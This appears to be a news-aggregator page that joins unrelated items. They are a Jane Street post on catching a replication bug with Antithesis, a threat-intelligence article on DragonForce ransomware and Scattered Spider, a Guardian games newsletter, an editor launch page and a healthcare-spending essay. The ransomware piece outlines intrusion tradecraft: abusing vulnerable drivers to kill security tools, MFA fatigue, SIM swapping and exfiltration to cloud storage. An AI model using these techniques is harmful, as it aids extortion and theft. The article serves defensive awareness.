    Last year we had a chance to talk with the team at Antithesis and got really excited about their product. The amazing thing that Antithesis does is run your whole system in a virtual machine controlled by a completely deterministic hypervisor, and then adds a little manufactured chaos by interfering with scheduling and networking. It uses this setup to explore many different scenarios, and to discover circumstances where your system might fail.

    Part of what’s great about this is that you don’t need to change your system to use Antithesis. You can run your system in a realistic environment – network, file system, shared memory, it’s all there. You get to interact with your system using real client code. And if they do manage to make a process crash or cause an assertion to fail, you can replay events to get back to that state and interact with the system as much as you want to understand what happened.

    We weren’t sure how effective it was going to be, so we started with a trial period to find out. Sure enough, on our first run, Antithesis surfaced two previously unknown bugs – notably, one had just been introduced a month prior, and seemed pretty likely to eventually occur in production, and with fairly consequential effects. We’d actually thought about the possibility of this kind of failure when designing the change, but a simple bug in the code slipped through, and we just forgot to write an explicit test.

    There’s something really attractive about running your system in a way that looks and feels like production. You can be a bit more confident that you’re not accidentally hiding away some race condition by rewiring everything to fit into a little box. I find the “API” of Antithesis to be quite elegant: provide some Docker images and a compose file that describes the individual parts of your system, and they will call docker compose up inside the VM. That gets the system into a running state, but you obviously need to make it do something. So, you can create a directory in a container full of executable files that each take some kind of action on your system – like actions users or admins would take in production – and Antithesis will decide how and when to run them. And by and large, that’s it.

    Of course, the generality here is a double-edged sword: the space of all possible states and inputs is enormous. Even if you threw tons of hardware at the problem, you’d probably only do a bit better than our chaos testing. That’s why the second half of Antithesis – the exploration engine – is so important. One of the cool properties of determinism is not just that you can reconstruct a state at any time, you can also reconstruct a prior state too. So you can effectively rewind time and try a new approach. If the explorer is getting feedback from which branches of code it managed to hit, it can know when it got into an interesting or rare state, and it can spend more time taking different actions around that moment. Will Wilson, one of the co-founders of Antithesis, gave a talk which demonstrates some of the principles behind this search using the NES game Super Mario Bros. as a test subject – it’s such a fun talk; I highly recommend checking it out.

    So let’s say Antithesis stumbles upon a bug. What does that look like, and where do you go from there?

    A real bug

    We kick off a test run each night with the most recent revision of code, and one morning we came in to find results that showed an unexpected container shutdown. At first glance, the logs included this.

    118.738

    standby.replicator.1

    Info: Streaming tcp receiver connected to 10.89.5.61:42679

    118.738

    standby.replicator.1

    Error: Unhandled exception raised:

    118.738

    standby.replicator.1

    (monitor.ml.Error

    118.738

    standby.replicator.1

    (message_part.ml.Malformed_message

    118.738

    standby.replicator.1

    ("00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

    118.738

    standby.replicator.1

    "00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

    118.738

    standby.replicator.1

    "00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

    118.738

    standby.replicator.1

    "00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

    The “replicator” service connected to a server and shortly after, raised an exception and crashed. The 118.738 is the time in seconds since the test started. The exception made it look like it was being served corrupt data, which should never happen under any circumstances. Antithesis also has a tool that can investigate a specific instance of a failure by rewinding a bit, running with different input, and seeing whether it failed again. It produces a graph like this.

    This is showing that somewhere about 6 seconds before the crash, something happened that put us in a state where it was very likely to reproduce. If we go back through the logs, we can find out that Antithesis randomly killed a different service around that time.

    111.861

    fault_injector

    {"fault":{"name":"kill","affected_nodes":["primary.tip-retransmitter.1"]}}

    We can also filter the logs down to look for that specific service.

    113.911

    primary.tip-retransmitter.1

    Info: Starting from snapshot with stream time 2025-11-28 16:59:51.362900555-05:00

    113.911

    primary.tip-retransmitter.1

    Debug: Streaming TCP retransmitter listening on 10.89.5.61:42679

    And that also lists the same host and port that the replicator connected to. But this still doesn’t say much – a server restarted, a client connected to it, and then the client got corrupt data? At this point we can jump into Antithesis’ debugger environment, which lets you write notebook-style snippets to run inside the virtual machine. By rewinding time by one second before the crash and running tcpdump , we can capture the exact traffic that was exchanged between the client and the server.

    branch = moment.rewind(Time.seconds(1)).branch()
    container = 'standby.replicator.1'
    print(bash`tcpdump -nn -X tcp and host 10.89.5.61`.run_in_background({ branch, container }))
    branch.wait(Time.seconds(5))
    

    And with a little grit, we can extract the query that the client sent.

    16:59:57.631701 IP 10.89.5.36.35922 > 10.89.5.61.42679: Flags [P.], seq 40:67, ack 40, win 32768, options [nop,nop,TS val 2689576410 ecr 3733209032], length 27 0x0000: 4500 004f c841 4000 4006 5355 0a59 0524 E..O.A@.@.SU.Y.$ 0x0010: 0a59 053d 8c52 a6b7 934f 4b7a df85 101d .Y.=.R...OKz.... 0x0020: 8018 8000 1f54 0000 0101 080a a04f adda .....T.......O.. 0x0030: de84 3fc8 1900 1500 0000 51c8 0400 0000 ..?.......Q..... 0x0040: 0000 0041 3131 3233 0000 00ff ffff ff ...A1123.......

    This highlighted portion is the byte offset that was requested by the client. It’s a little-endian 64-bit integer whose value is 0x04c851 , or 313425 in decimal. Okay, so what did that snapshot contain?

    container = 'primary.tip-retransmitter.1'
    print(bash`aria admin get-latest-snapshot -max-stream-time '2025-11-28T16:59:51.362900555-05:00' \
                | sexp get '.snapshot.metadata.core_stream_length'`.run({ branch, container }))
    

    Here we not only get to use our own admin command to talk to a server, but we also can simply pipe the output to another tool of ours that dissects and pretty-prints the output.

    ((stream_time 2025-11-28T16:59:51.362900555-05:00) (byte_offset 315567))

    This is telling us that the server started from byte offset 315567 , which is after the offset of the request. It should have served the client an error, not bad data! At this point we have enough of a picture to read through the code and figure out what’s wrong.

    The gritty details

    This bug was related to a new feature extending the “tip-retransmitter” service which was mentioned in the logs above. These services provide data to clients (the “replicator” in this case) on demand from an in-memory ring buffer – only the most recent data in the stream, or the “tip”, is available. These services had been in use for a long time but recently were given the ability to serve clients in other regions in addition to local clients. Something about this new behavior was buggy.

    After closer inspection, we realized that the implementation made some incorrect assumptions about the state of its ring buffer when checking if the client request was valid. However, this only manifests

    1. after the server was restarted and loaded a snapshot,
    2. before the ring buffer was filled up, and
    3. if the client sends a request for data before the snapshot.

    This is exactly what Antithesis managed to reproduce. Instead of an error, the server incorrectly sent back NUL bytes from an empty region in the ring buffer. At the time the original code was written, snapshots didn’t exist, so the bug couldn’t have occurred. It was only introduced later on.

    But hold on a second, loading from snapshots had been around for a while, yet this only failed once we extended it to serve other regions. Had it always been broken? Well, sort of. It turns out that local clients use a different method of service discovery which means they won’t even try to talk to a server which was started from a later snapshot because they knew it didn’t have the data. The clients in another region used a different method of service discovery and simply had to optimistically try.

    This had all the ingredients for a tricky bug:

    • It required a niche situation where a server was restarted and a client connected to it after it advertised and before it filled up its ring buffer, asking for data from before its snapshot.
    • It was code that had already been running in production for a long time, but the bug was being masked by the service discovery mechanism.
    • Because we were leveraging existing code, we didn’t think to write a new test, especially for this situation.

    And the potential impact was really bad, since it involved serving corrupt data.

    Happily, Antithesis was just what we needed to catch the bug before it caused real problems.

    Antithesis found the bug shortly after the feature was completed and the new services added to our Antithesis config. This time delay was short enough that we knew that something about our recent change was the culprit.

    It also gave us the tools to actually dig in and figure out what happened. If this happened in production, we would have gotten the exception, and we might have been able to notice the log lines, but we wouldn’t have had enough data to narrow down the situation, and we wouldn’t have had a good way to verify the fix we wrote was fixing the actual bug.

    It’s not that Antithesis replaces all of our existing testing. Each different flavor of test really serves it’s own unique purpose. But the way in which Antithesis tests whole-system scenarios that we either wouldn’t have thought to test is its own kind of magic. Enough so that we’ve noticed a small cultural shift on the team where we feel like we can tackle more ambitious projects by relying on Antithesis to fill in any gaps along the way.

    Where do we go from here?

    Antithesis has been really useful for Aria, and we’ve started working on applying it to other applications within Jane Street. We’re starting out with some similar, high-assurance distributed systems, like a new distributed object store that’s in development.

    But we think there are lots of other opportunities for applying the tool. For one thing, we’re excited about using Antithesis on systems whose testing story is less developed than Aria’s. Not every system at Jane Street has gone to the trouble of using mockable network and timing services that let you build nice, deterministic simulation tests. Sometimes, that kind of testing is simply infeasible, since some parts of the system rely on external software that we don’t fully control. But that kind of software is still easy to run in Antithesis.

    We also think that Antithesis holds a lot of promise in the context of agentic coding tools. One of the key problems with coding agents is that it’s hard to build confidence that they’ve done the right thing. We think that Antithesis holds a lot of promise as a source of feedback, both for using and for training such models.

    A future partnership

    There’s one last part of this story to talk about: we were so impressed by the product and the team behind it that we wanted to invest, and in the end, we’re leading their next round of funding. We love these kinds of partnerships because not only is this a technology that feels unique and aligned with our technical culture 1 , but also because Antithesis has been so receptive to feedback, and is so passionate about what they’re building.

    This all lines up with Jane Street’s broader approach to private investing: we like to provide long-term capital to companies where we understand the technology deeply and can see the potential; where we like and believe in the people doing the work; and where they’ve built something we’re excited to use ourselves as a customer. Antithesis hits all those marks.

    On a personal note, I’m really excited about this. The team at Antithesis is an absolute pleasure to work with. I’ve never used a SaaS product where I got to talk directly to their engineers about bugs or specific behaviors, or to their designers about UX. And a countless number of my colleagues have had to hear me gush about just how cool it is. I’m always strangely excited to see what it digs up next.

    Doug joined Jane Street in 2017 and never wrote the end of his bio.

    Deep dive into DragonForce ransomware and its Scattered Spider connection

    Bleeping Computer
    www.bleepingcomputer.com
    2025-12-03 15:05:15
    DragonForce expanded its ransomware operation in 2025 by working with English-speaking hackers known for advanced social engineering and initial access. Acronis explains how the "Scattered Spider" collaboration enables coordinated, multistage intrusions across major environments. [...]...
    Original Article

    Shadow puppets

    Security researchers have conducted an in-depth analysis of DragonForce ransomware that initially emerged in 2023 and has since evolved into what it calls a "ransomware cartel."

    The most recent variant exploits susceptible drivers such as truesight.sys and rentdrv2.sys to deactivate security programs, shut down protected processes and fix encryption vulnerabilities that were earlier linked to Akira ransomware.

    The updated encryption scheme addresses vulnerabilities that were openly documented in a Habr publication referenced on DragonForce's leak website.

    DragonForce has intensified its operations against organizations worldwide, publishing details of more compromised entities than in the previous year.

    The group's most prominent breach, involving retail company Marks & Spencer, was carried out in partnership with the cybercriminal collective Scattered Spider hacking group.

    The emergence of DragonForce

    DragonForce operates as a ransomware-as-a-service (RaaS) operation. The group reignited ransomware activities, and has been actively recruiting nefarious collaborators through underground cybercrime platforms.

    At the start, the gang used the compromised LockBit 3.0 builder to create its encryption tools and later transitioned to a modified version of Conti v3 source code.

    Dragonforce blog

    Transforming from ransomware group to “cartel”

    Returning in 2025, DragonForce rebranded itself as a “ ransomware cartel ,” marking a sudden shift in operational strategy.

    By offering affiliates 80% of profits, customizable encryptors and infrastructure, DragonForce lowers the barrier to entry for new and inexperienced cybercriminals.

    The move encourages more affiliates to join the cartel and broaden its presence.

    DragonForce and its Scattered Spider connection

    DragonForce's partnership with Scattered Spider, a financially motivated threat actor known for sophisticated social engineering and initial access operations, has proven effective in enabling ransomware deployments across high-value targets.

    Scattered Spider typically begins its intrusion by conducting reconnaissance on an organization’s staff to identify potential targets and develop convincing personas and pretexts.

    The group collects details such as names, job titles, and other publicly available information using social media platforms and open-source intelligence tools. They then use advanced social engineering tactics to obtain or reset credentials and circumvent multifactor authentication through deceptive tactics such as MFA fatigue or SIM swapping.

    Once access is gained, Scattered Spider signs in as the compromised user and registers its own device to maintain entry.

    Following the initial breach, Scattered Spider establishes persistence by deploying remote monitoring and management (RMM) tools or tunneling services.

    For example, these tools can include ScreenConnect, AnyDesk, TeamViewer and Splashtop. Once inside the network, Scattered Spider conducts thorough reconnaissance, targeting assets in SharePoint, credential repositories, backup servers and VPN configuration documentation.

    In recent activity, Scattered Spider has leveraged AWS Systems Manager Inventory to identify additional systems for lateral movement. They utilize extract, transform and load (ETL) tools to compile gathered data into a central database, which is then exfiltrated to attacker-controlled MEGA or Amazon S3 storage services.

    The operation concludes with the deployment of DragonForce ransomware, encrypting data across Windows, Linux and ESXi environments.

    Better together ransomware

    DragonForce represents a new, more organized and persistent threat, built on established ransomware frameworks but incrementally improved and distributed at scale.

    Unlike groups that heavily customize their code, DragonForce focuses on cartel-style recruitment, affiliate operational flexibility and broad partnerships, making it a formidable and highly adaptable actor.

    Coupled with Scattered Spider, cybercrime groups under cooperative models, rather than purely competitive ones, marks a shift that complicates defensive efforts for organizations worldwide.

    Key takeaways

    The DragonForce and Scattered Spider duo is a wakeup-call for "cartelization" cybercrime, where highly specialized threat actors combine their skills, in this case, Scattered Spider's elite social engineering and initial access skills and DragonForce's robust ransomware-as-a-service model, to execute devastating, high-profile attacks.

    Their strategic alliance significantly elevates the threat landscape by creating a more efficient and adaptive criminal operation focused on breaching defenses by exploiting human error before leveraging sophisticated malware.

    Looking ahead, IT security professionals must consider that defense requires addressing ransomware collaborative models head on.

    Implement and strictly enforce phishing-resistant multifactor authentication (MFA) methods to neutralize Scattered Spider's primary initial access vectors, and focus on robust endpoint detection and response (EDR) solutions that alert the deployment of remote monitoring tools and the use of vulnerable drivers, which are the technical tell-tales of a handoff from an initial access broker to a ransomware affiliate.

    Security teams need to anticipate that attacks are no longer single-entity threats, but coordinated, multistage intrusions using the best tools and techniques from an ecosystem of specialized cyber adversaries.

    About TRU

    The Acronis Threat Research Unit (TRU) is a team of cybersecurity experts specializing in threat intelligence, AI and risk management. The TRU team researches emerging threats, provides security insights and supports IT teams with guidelines, incident response and educational workshops.

    See the latest TRU research

    Sponsored and written by Acronis .

    Dan Houser on Victorian novels, Red Dead Redemption and redefining open-world games

    Guardian
    www.theguardian.com
    2025-12-03 15:00:47
    As the Grand Theft Auto co-writer launches a new project, he reflects on his hugely successful open-world adventures and where game design might go next • Don’t get Pushing Buttons delivered to your inbox? Sign up here It is hard to think of a more modern entertainment format than the open-world vid...
    Original Article

    I t is hard to think of a more modern entertainment format than the open-world video game. These sprawling technological endeavours, which mix narrative, social connectivity and the complete freedom to explore, are uniquely immersive and potentially endless. But do they represent a whole new idea of storytelling?

    This week I met Dan Houser, the co-founder of Rockstar and lead writer on Grand Theft Auto and Red Dead Redemption, who has been in London to talk about his new company, Absurd Ventures. He’s working on a range of intriguing projects, including the novel and podcast series A Better Paradise (about a vast online game that goes tragically wrong), and a comedy-adventure set in an online world named Absurdaverse . He told me that, 15 years ago, he was doing press interviews for the Grand Theft Auto IV expansion packs when he had something of a revelation about the series.

    “I was talking to a journalist from Paris Match, a very cultured French guy – and he said, ‘Well, the Grand Theft Auto games are just like Dickens’. And I was like, God bless you for saying that! But I thought about it afterwards and, well, they’re not as good as Dickens, but they are similar in that he’s world-building. If you look at Dickens, Zola, Tolstoy or any of those authors, there’s that feeling of all the world is here – that’s what you’re trying to get in open world games. It’s a twisted prism, looking at a society that’s interesting in one way or another.”

    Absurdaverse, Houser’s new media universe.
    A whole new world … Absurdaverse. Photograph: Absurd Ventures/X

    It was fun to talk about this idea with Houser, because I share his view that there are striking similarities between Victorian literature and modern narrative video games. The vast amount of descriptive detail in those works was intended as a form of virtual reality, conjuring an exact image into the mind of the readers years before the invention of cinema. There is also that sense of complete immersion. The first time I read Jane Eyre a decade ago, I was amazed by the interiority of the writing, how much information we were given about the lead character’s thought processes and how much freedom we were given to explore them.

    Houser also saw a structural similarity in Grand Theft Auto. “There’s that same sense of slightly spread out storytelling that you get in those big 19th-century novels from Thackeray onwards,” he says. “They are kind of shaggy dog stories that come together at a point. Those books are also very realist, in a way. They’re not leaping backwards and forwards in time. They are quite physical in that sense, and games are very physical.”

    For Houser, this interplay between Victorian literature and game design came to a head with the production of Red Dead Redemption 2, Rockstar’s masterful, elegiac tale of revenge and redemption in the late 19th-century US. “I binged on Victorian novels for that,” he says. “I listened to the audiobook of Middlemarch walking to and from the office every day. I loved it.” He’d had trouble finding the correct tone for the dialogue in the game, but by merging Middlemarch, Sherlock Holmes and cowboy pulp fiction, he found it.

    Dan Houser at Comic Con in Los Angeles last September.
    ‘I listened to the audio book of Middlemarch walking to and from the office every day’, Dan Houser. Photograph: Chelsea Guglielmino/Getty Images

    “I wanted it to feel from the writing perspective, slightly more novelistic,” he told me. “I thought that was a way of doing something new on the story side – and the game was going to look so pretty, the art was so strong, I thought the story had better really set it up. We were trying to fill out the three-dimensional lives of the characters, and also to capture that 19th-century feeling of life and death, which was very different from ours.”

    I found it so pleasing that Victorian literature has had such a profound effect on Rockstar’s hugely successful adventures. The games industry can be so inward-looking, each new game a slight variation on a successful predecessor, each narrative a combination of the same fantasy and sci-fi set texts. There’s nothing wrong with drawing on Tolkien or Akira or Blade Runner, but it’s always worthwhile extending that literary gaze. I’m looking forward to seeing how Houser’s new ventures redefine the notion of open-world games for the second quarter of the 21st century, but part of me wishes he was going all out with a sprawling Victorian novel adventure.

    Forget Pride and Prejudice and Zombies, maybe it’s time for Middlemarch and Machine Guns?

    What to play

    Metroid Prime 4: Beyond
    Gorgeously atmospheric … Metroid Prime 4: Beyond. Photograph: Nintendo

    It has been 18 years since the last Metroid Prime game. People have been born, started school, done their exams, and had their first hangovers in the time since I last viewed a mysterious planet through the visor of Samus Aran. So there’s quite a lot riding on Metroid Prime 4: Beyond for fans of Nintendo’s most badass (and neglected) hero. I reviewed it this week and am happy to say that it’s not a disaster. It’s uneven, old-fashioned and a bit awkward, but also gorgeously atmospheric, beautiful to look at and listen to, and very entertaining. It’s almost fascinatingly unconcerned with the conventions of modern game design, and I found it very charming. Keza MacDonald

    Available on: Nintendo Switch/Switch 2
    Estimated playtime:
    15-20 hours

    skip past newsletter promotion

    What to read

    Could Shadow step into the spotlight in Paramount’s forthcoming Sonic the Hedgehog spin-off?
    Could Shadow step into the limelight in Paramount’s forthcoming Sonic the Hedgehog spin-off? Photograph: Paramount Pictures and Sega of America, Inc.
    • Sega fans rejoice: Paramount Pictures has announced a Sonic the Hedgehog movie spin-off (or should that be spin-dash-off). According to Variety , the project currently titled “Sonic Universe Event Film” will arrive on 22 December 2028 – a year and a bit after Sonic the Hedgehog 4, which is scheduled for release in March 2027. Could it be a new adventure for Sonic’s rival Shadow the Hedgehog? Maybe I’m alone, but I’m hoping for a Big the Cat fishing quest.

    • The Information Commissioner’s Office, the UK’s independent regulator for data protection and information rights, is investigating the 10 most popular mobile games , focusing on children’s privacy. According to the organisation’s blog , “84% of parents are concerned about their children’s potential exposure to strangers or harmful content through mobile games”. This follows recent controversy over Roblox .

    • As someone who receives approximately 200 press releases a week about this genre, I appreciated Rock, Paper, Shotgun’s deep dive into the seemingly unstoppable rise of the roguelike . Edwin Evans-Thirlwell talks to developers about why people love games based around the three Ps: procedural generation, (character) progression and permadeath.

    What to click

    Question Block

    Dishonored 2
    Use the force … Dishonored 2. Photograph: Steampowered

    Keza answers this week’s question from reader Tom :

    “I was reading the recent Question Block about violence-free games and it got me thinking: do any games keep violence on the table but give you other options to complete them? While I adored Red Dead Redemption 2, it frustrated me that the only option to resolve most situations was with a firearm. I’ve seen plenty of amusing videos where players try to complete innately violent titles without bloodshed, so there seems to be an appetite for pacifism.”

    I have vivid memories of playing the original Splinter Cell on Xbox as a pacifist: only knocking enemies out and hiding them, never killing them. It took me forever , but it was a legitimate option offered by the game. Steampunk masterpiece Dishono red and its sequel also famously let you finish the whole thing without killing anyone. You can use your supernatural powers to sneak around and manipulate people instead; if I recall correctly, though, the game is significantly harder if you shun violence.

    Most stealth games offer pacifist playthroughs, actually, though few specifically reward you for sparing lives. One exception to this is the superb comic adventure Undertale , the game that finally let you talk to the monsters. I’m also fairly sure that it was possible, if very challenging, to play both the original Fallout games (and possibly Fallout: New Vegas, too) without killing people, only mutants – if you’ve got a high enough charisma stat to talk your way out of every sticky situation.

    We’re still looking for your game of the year nominations for an end of year special – let us know yours by emailing us on pushingbuttons@theguardian.com .

    Show HN: Fresh – A new terminal editor built in Rust

    Hacker News
    sinelaw.github.io
    2025-12-03 14:45:26
    Comments...
    Original Article

    Installation Methods

    Via npm (recommended):
    npm install -g @fresh-editor/fresh-editor

    Via npx (for a quick test):
    npx @fresh-editor/fresh-editor

    From source with Cargo:
    cargo install fresh-editor

    Pre-built binaries:
    Download from GitHub Releases .

    Source code available on GitHub .

    Discovery & Ease of Use

    Fresh is designed for discovery. It features native UIs, a full Menu system, and a powerful Command Palette . With full mouse support , transitioning from graphical editors is seamless.

    Modern Extensibility

    Extend Fresh easily using modern tools. Plugins are written in TypeScript and run securely in a sandboxed Deno environment , providing access to a modern JavaScript ecosystem without compromising stability.

    Zero-Latency Performance

    Fresh is engineered for speed. It delivers a near zero-latency experience, with text appearing instantly. The editor is designed to be light and fast , reliably opening and editing huge files up to multi-gigabyte sizes without slowdown.

    Comprehensive Feature Set

    File Management : open/save/new/close, file explorer, tabs, auto-revert, git file finder | Editing : undo/redo, multi-cursor, block selection, smart indent, comments, clipboard | Search & Replace : incremental search, find in selection, query replace, git grep | Navigation : go to line/bracket, word movement, position history, bookmarks, error navigation | Views & Layout : split panes, line numbers, line wrap, backgrounds, markdown preview | Language Server (LSP) : go to definition, references, hover, code actions, rename, diagnostics, autocompletion | Productivity : command palette, menu bar, keyboard macros, git log, diagnostics panel | Plugins & Extensibility : TypeScript plugins, color highlighter, TODO highlighter, merge conflicts, path complete, keymaps

    All They Want Is a Landlord Who Doesn't Suck

    hellgate
    hellgatenyc.com
    2025-12-03 14:43:29
    And more news for your Wednesday....
    Original Article
    All They Want Is a Landlord Who Doesn't Suck
    Rebecca Fishbein's bathroom ceiling and kitchen after the pipe burst in her Pinnacle apartment. (Rebecca Fishbein)

    Morning Spew

    Scott's Picks:

    Give us your email to read the full story

    Sign up now for our free newsletters.

    Sign up

    Great! You’ve successfully signed up.

    Welcome back! You've successfully signed in.

    You've successfully subscribed to Hell Gate.

    Your link has expired.

    Success! Check your email for magic link to sign-in.

    Success! Your billing info has been updated.

    Your billing was not updated.

    Mapping Every Dollar of America's $5T Healthcare System

    Hacker News
    healthisotherpeople.substack.com
    2025-12-03 14:42:02
    Comments...
    Original Article
    A representation of the US Healthcare Financing Flow Sankey diagram in the style of Ernst Haeckel’s Art Forms in Nature .
    11 minute read time

    Follow the money and you might get lost. That’s why I made a diagram for the entire US healthcare system ’s financial flows - covering an incomprehensible $5 Trillion in healthcare spending.

    The US healthcare system looks like an eldritch horror - tentacles reaching into every corner of American life.

    But we built this creature. Like Dr. Frankenstein, we assembled it piece by piece - Medicare for the elderly, insurance through jobs, Medicaid for the poor, exchanges for everyone else. Each piece solved a specific problem. Each addition made sense in isolation.

    Put them together and you get something alive. Something vast. Something no one would have designed from scratch - because we never agreed on what we were designing.

    The flows in the diagram represent $4.9 Trillion - but they also trace every medical decision made in America last year. Every dose administered and every diagnosis delivered. Every ambulance ride and every rehabilitation. Every birth and every final goodbye.

    The flows are the aggregate infrastructure of how we keep people alive and healthy - and also, the accumulated friction that makes it harder to stay that way.

    This chart holds the confused senior on dialysis, lost between three different insurances. The branch has a brilliant researcher, waiting for approval to start her life-saving trial. Lost in the flow is a desperate parent calling six numbers to pray for one “in-network” specialist. The ends show a struggling hospital with a whole floor for billing - and a closet for social work.

    Every flow in the diagram is someone’s life intersecting with the creature we created. And every flow is also a choice about obligation. Who do we owe care to? What do we owe and how much?

    The question that comes up for this creation: What did we build and why?

    Other wealthy nations finance healthcare too. They also have to balance costs, quality, and access. They also have powerful stakeholders fighting over money and control. But their diagrams don’t look like ours. To understand what we built - and why - we need to see what a coherent system looks like first.

    Look, I’m not an international healthcare policy expert. But I went down a research rabbit hole reading Which Country Has the World’s Best Health Care? by Ezekiel Emanuel (my favorite of the legendary Emanuel brothers ), and made some diagrams to understand what other countries actually built.

    Not to propose we copy them - that ship sailed decades ago. But to see what it looks like when a country chooses a philosophy and then builds the body. Two examples: the UK’s Beveridge model (named after Lord Beveridge, not a beverage model from tacky 90s beer commercials), and Germany’s Bismarck model.

    The obvious place to start is the UK’s NHS - the prime example of a single-payer health system. But before we get to how it works, we need to understand the choice that made it possible.

    Lord Beveridge published his report in 1942, in the middle of World War II. Britain was being bombed nightly. Citizens were already sacrificing everything for collective survival. And Beveridge asked: if we’re asking people to die for each other, shouldn’t we also keep each other alive? Healthcare as a right, funded through taxes, free at point of service - a popular position around moral framing. Shortly after the war, the National Health Service launched in 1948 to match it.

    Of the £317 billion ($400B USD) of UK healthcare spend, 81% comes from general taxation - one payer for nearly everything. NHS England handles most services directly.

    Social care (orange in the graph) - like long-term care - are separately managed through local authorities, which creates some coordination gaps. Private insurance is a paltry spend in comparison - Americans would call this “concierge medicine”. Brits call it “queue jumping”, which should tell you everything about their cultural relationship to fairness and waiting your turn.

    Look at what disappears in the UK diagram: no insurance cards to verify, no network checks, no surprise bills, no prior authorization departments. Admin costs are low with only one payer, there’s no one to negotiate with and no one to bill.

    The complexity that Americans assume is inevitable is actually optional - once you decide who owes what to whom.

    UK’s system has its problems 1 - wait times, capacity strains - but Brits LOVE it anyway. The opening ceremony for the 2012 London Olympics celebrated the NHS with doctors, nurses, and (hopefully) fake sick children dancing on hospital beds. While dancing over a government agency may seem silly, they’re actually celebrating their shared moral commitment to each other.

    Could America make this choice? Technically, yes. Politically, we’d need to agree that healthcare is a right we owe each other, funded collectively through taxes. That would mean massive tax increases, eliminating private insurance as the primary system, and trusting a single federal agency.

    The operational resistance alone would be too much: I’ve watched hospital execs squeeze out thinning margins and payer executives navigate quarterly earnings calls. We’re talking about unwinding a $1T+ private insurance industry, reconfiguring every hospital’s revenue model, and convincing Americans to trust the federal government with something they currently (sort of) get through their jobs. That ship didn’t just sail - it sank decades ago.

    The UK made one healthcare body in 1948, but was it too simple - or is it elegantly simple? We can compare it with something much more complex, like the Bismarck model.

    Germany has roughly 140 competing insurance companies - in stark contrast to one payer of the UK. Yet Germany delivers universal coverage for over half of what the US spends per person.

    Unifier of Germany, Otto von Bismarck (not named after who I initially thought ) didn’t create this because he loved workers. He created it because socialists were gaining power in the 1880s and he needed to steal their thunder. “Give workers healthcare before they overthrow us” is peak realpolitik (the German word for “do what works, not what feels righteous”).

    Americans are told you must choose: government control OR market competition. Germany said “ both “ and built something Americans are told is impossible.

    Employers and employees split a 14.6% payroll contribution, meaning wages automatically have a healthcare price tag to them. German workers get to choose from 140 competing sickness funds (aka “insurance companies” in American parlance).

    But that competition is morally-bound by regulation: to accept any applicant, cover the same baseline benefits, and charge based on income (not health status). They compete on customer service, extra benefits, and operational efficiency - not on avoiding risky, expensive patients.

    On the provider side, the German government sets prices to prevent gouging. Long-term care operates as a separate system (that orange flow on the diagram) instead of bankrupting families or clogging hospitals. Earn over €73,800 ($85K USD) and you can opt into private insurance (in purple).

    Germany has universal coverage through competition and cost control through regulation. There are four distinct paths: statutory (blue), private (purple), long-term care (orange), and out-of-pocket (yellow). In practice, there is a lot of complexity, but structured towards the theory of social insurance.

    But the German system has trade-offs 2 : payroll tax is pressure on employers, the inequality between public and private tiers, and 140 bureaucracies to navigate. But the complexity serves a coherent purpose.

    But imagine if American insurers competed on “who has the best nurse hotline” instead of “who can design the narrowest network to avoid costs”. That’s what happens when the obligation to cover everyone is non-negotiable.

    Americans might actually like health insurers functioning as utilities, not profit-maximizing businesses. But federal price-setting across 50 states means telling every hospital and physician what they can charge - and CMS already struggles with Medicare rates alone.

    The lobbying alone would be apocalyptic. While insurers would fight “utility” status, the hospitals would fight price controls. Not to mention that the entire physician payment model would need restructuring, while we’re in the midst of an upcoming clinician shortage.

    But fundamentally, Americans would need to agree: your job connects you to a community of mutual obligation. Do we actually believe that? We built something like it through a historical accident (WW2 wage controls), but we’ve never committed to the moral premise.

    Germany chose regulated competition in 1883 and built something complex - but the parts were designed to work together. We chose unregulated competition and built complexity that serves... what exactly?

    There are other healthcare system archetypes as well: National Health Insurance (Canadian healthcare) and Out-of-Pocket systems. I could also build out diagrams for other countries 3 too (have been suggested Singapore, Norway, and Japan). But like all other self-centered Americans, my focus is on talking about the US Healthcare System.

    We can learn a lot from two distinct namesake models: the Bismarck model is “social insurance” and the Beveridge model is a “universal right”. The UK and Germany made different choices and built different systems: the UK moves money from taxpayers → NHS → services, Germany from employers + employees → sickness funds → services. But both embody their stated values.

    So what does the US value? We built something that costs everyone, everything, everywhere - and still leaves 27 million uninsured.

    The outcome is $4.9T - which would make it the 3rd largest economy in the world, a high 8% admin costs - compared to the UK’s 2% admin, with medical bankruptcy still possible. We’ve never agreed on what we value . So we built a system that embodies our disagreement: employer-based coverage (market choice) plus Medicare (social insurance) plus Medicaid (safety net) plus exchanges (regulated markets).

    Maybe that IS the American philosophy: pluralism so deep we can’t even agree on how to keep each other alive.

    My fear with the diagram is that it just becomes gratuitous complication-porn. I’m not trying to show something to get the reaction of, “ Wow, what a tangled mess! Isn’t that insightful? ” Let’s look more closely to see the nuance and significance of we can take away from this chart.

    Soak in the Sankey (Tsang-key?) diagram again. From a distance, it looks like chaos - maybe even like failure. But zoom in and you’ll see something else: this isn’t random. Every flow, every split, every loop represents a decision someone made.

    Here’s the first thing that jumps out: if you work a job in America (and you presumably do, to afford the internet where you’re reading this), you’re already paying for healthcare in multiple places on this chart:

    1. Taxes: federal, state, and local taxes finance Medicare, Medicaid, and various public health programs in so many places. Our attempt at embedding it in single payer.

    2. Payroll : if you’re employed, your employer pays taxes on Medicare (even though you presumably can’t use it until you retire at 65). This is a cost that doesn’t go to your salary.

    3. Insurance premiums : get deducted from your paycheck to fund the employer group plans ($688B from employees alone).

    And don’t forget the most insidious payment - out-of-pocket costs - which add up to half a trillion.

    We already built socialized medicine - we just made it more expensive.

    Academics have pointed this out for years: Americans already finance healthcare collectively, just more inefficiently than countries with actual single-payer. Taxpayers already spend $2.35T - more than the entire GDP of Italy, the 8th largest economy in the world. That’s half the healthcare system before a single insurance premium gets paid.

    Healthcare is already a collective responsibility - we just pretend it’s individual. Then make individuals pay twice: once through taxes, once through premiums.

    The second thing that jumps out: look at how much flows toward the elderly.

    • While the obvious culprit is over $1T on Medicare, Nursing Homes account for $218B (split between Medicare and Medicaid) while Home Health & Hospice takes $100B. Medically speaking, old age is EXPENSIVE with the highest complications and comorbidities.

      What decision does this say aside from “care for old people”? Medicare is a collective promise - you pay in from age 22 to 65, you collect from 65 to death. And don’t forget special needs plans , which contain so much complexity and overhead for the most vulnerable of the elderly.

